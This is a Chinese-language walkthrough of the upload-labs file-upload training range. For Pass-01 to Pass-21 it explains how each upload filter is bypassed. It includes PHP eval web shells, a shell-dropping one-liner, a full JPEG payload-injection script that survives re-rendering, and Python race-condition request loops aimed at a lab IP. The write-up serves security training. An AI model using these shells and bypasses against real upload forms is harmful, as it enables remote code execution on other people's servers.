upload-labs靶场通关教程
Pass-01

我们先上传带有一句话木马的1.php


查看页面源代码发现是前端js弹窗,我们直接禁用前端即可。
再进行上传1.php,我们就可以上传了。

Pass-02
做完每一题之后,我们最好清理一下上传的文件,以免对后续操作产生影响。
依旧上传1.php,但是发现不行

我们抓包,将content-Type改成image/png,再次上传发现成功上传

从源码上的角度去看

只判断了file的type的值,就可以绕过了
Pass-03
依旧先上传1.php

提示:不允许上传.asp,.aspx,.php,.jsp后缀文件
我们只需要上传.phtml就可以绕过,上传

从源码上看

这里只对后缀进行了限制,并没有对content-type,所以我们可以原封不动
Pass-04
之后过滤的会越来越多,因为是靶场,我们可以直接从源码入手
关键过滤代码为
php
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
过滤了非常多,但仔细发现并没有过滤.htaccess文件
我们可以先上传.htaccess文件
php
AddType application/x-httpd-php .jpg .txt .png
再去上传1.png,内容为一句话木马


Pass-05
关键过滤代码为
php
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
这里过滤了上一题的.htaccess但没有过滤.user.ini
php
auto_prepend_file=1.jpg
然后再去上传1.jpg

Pass-06
直接看源码

可以发现少了一行转小写的代码,那我们直接大小写绕过

放包即可上传
Pass-07

这关源码删去了trim()函数,也就是用来去除字符串两端的空格,所以我们如果在上传文件的后缀名里面加上空格,不属于黑名单内容,我们就可以成功进行上传

放包上传即可
Pass-08

可以看到没有使用deldot()过滤文件名末尾的点,可以使用文件名后加 .进行绕过,即1.php.

Pass-09

缺少了
php
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
php在window的时候如果文件名+"::DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。


注意这里url中要删掉最后的::$DATA
Pass-10
使用 deldot()
删除文件名末尾的点
deldot() 函数从末尾向前检测,检测到第一个点后,会继续向前检测,但遇到空格会停下来
可以构造文件名:1.php. .
绕过检测

url中依旧是去掉后面的字符,保留到1.php
Pass-11

查看源码我们可以发现他仅仅对文件名称进行了替换,替换之后的后缀没有进行黑名单验证,这里我们就可以使用双写文件后缀进行文件上传

Pass-12

这一关白名单,通过%00截断可绕过白名单限制,但需确保PHP版本低于5.3.4且magic_quotes_gpc已关闭。
原理简述:PHP函数如move_uploaded_file在底层C语言实现时,会因遇到0x00(URL编码为%00)截断字符串。利用此特性,可绕过某些文件上传限制。

即可上传成功
php
代码分析:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
知识补充:
php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
substr(string,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])
magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤
Pass-13
第13题与12题思路一样使用白名单限制上传文件类型,但上传文件的存放路径可控,
php
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
但因为是POST型,需要对%00进行解码或在16进制中修改,POST不会像GET那样对%00进行自动解码。

Pass-14
本关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件

使用 图片马 + 文件包含
绕过
php
补充:
Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG
Jpg图片文件包括2字节:FF D8。
Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
Bmp图片文件包括2字节:42 4D。即为 BM
图片马制作:
在cmd里执行 **copy logo.jpg/b+test.php/a test.jpg**
#logo.jpg为任意图片;test.php 插入的木马文件;test.jpg 生成的图片木马

然后将test.png上传


再点击黄色的文件包含漏洞字眼

然后打一个很简单的文件包含漏洞

Pass-15
使用getimagesize()检查是否为图片文件

php
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
主要是针对*.php直接更改文件后缀为图片后缀,上一题创建的图片马仍然可以使用。

Pass-16

php
exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快
方法同Pass-14
Pass-17
php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
根据源码和题目提示可以得知这是一个二次渲染
上传的图片经过了后缀名、内容类型和imagecreatefromgif函数的严格验证,确保其为GIF格式。随后,图片经过了二次渲染处理。然而,在后端的二次渲染过程中,需要识别并标记出渲染后未发生改变的十六进制(Hex)区域。通过利用文件包含漏洞,可以在这些未变区域嵌入恶意代码,进而使用蚁剑工具进行远程连接和操作。
这里的二次渲染图片使用大菜鸡师傅的。
先上传一张原始jpg,然后直接下载二次渲染后的jpg
脚本如下:
php
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?=eval(\$_POST[7]);?>"; //注意$转义
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

得到一个以payload_开头的图片,然后上传即可

Pass-18

通过分析源代码,仅仅只是判断文件名称,和修改上传的文件名称,如果临时文件的后缀不在黑名单里面,就删除这个临时文件,那么这个临时文件在没有删除之前执行我们上传的代码块呢。
这也就是条件竞争。
我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,总会有一瞬间的访问成功。
这个页面中没有文件包含漏洞,图片马的漏洞利用条件就是文件包含。此时没有这个漏洞了,那么可以使用如下方法。
将一句话代码更改为如下内容。
php
<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["a"]);?>');?>
使用Burp Suite连续重放PHP文件上传请求,同时用Python脚本频繁访问该文件。在文件被删除前访问成功,即可在目录下创建一个包含一句话木马的Tony.php。这种方法在渗透测试中有效,因为它避免了仅访问phpinfo()文件的局限性。生成的Tony.php不会被服务器自动删除,从而允许我们通过蚁剑进行连接。
首先,我们上传PHP文件,用BP拦截,并发送到攻击器Intruder


然后我们再写一个python脚本,通过它来不停的访问我们上传上去的php文件
python
import requests
def main():
url='http://10.234.13.155/upload-labs/upload/tmp.php'
while True:
res = requests.get(url)
print('未找到php文件')
if res.status_code == 200:
print('over!')
break
if __name__ == '__main__':
main()
在BP攻击的同时我们也要运行python脚本,目的就是不停地访问tmp.php
知道成功访问到为止。当出现OK说明访问到了该文件,那么shell.php
应该也创建成功了,用蚁剑连一下试试。


Pass-19
从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。
这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。
一句话木马依旧是
php
<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["a"]);?>');?>

python
import requests
def main():
url='http://10.234.13.155/upload-labs/upload/1.png'
while True:
res = requests.get(url)
print('未找到png文件')
if res.status_code == 200:
print('over!')
break
if __name__ == '__main__':
main()

Pass-20
黑名单过滤

在php中move_uploaded_file有一个特性
修改上传文件名称为upload-19.php/.


Pass-21
php
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}
源码逻辑:
- 检查MIME (通过抓包改Content-Type 绕过)
- 判断 POST参数 save_name 是否为空,
- 判断$file 是否为数组,不是数组以
.
分割化为数组 - 取 $file 最后一个元素,作为文件后缀进行检查
- 取 file 第一位和第`file[count($file) - 1]`作为文件名和后缀名保存文件
php
修改content-type 修改POST参数为数组类型,
索引[0]为1.php
索引[2]为jpg|png|gif
只要第二个索引不为1,
$file[count($file) - 1]就等价于$file[2-1],值为空绕过
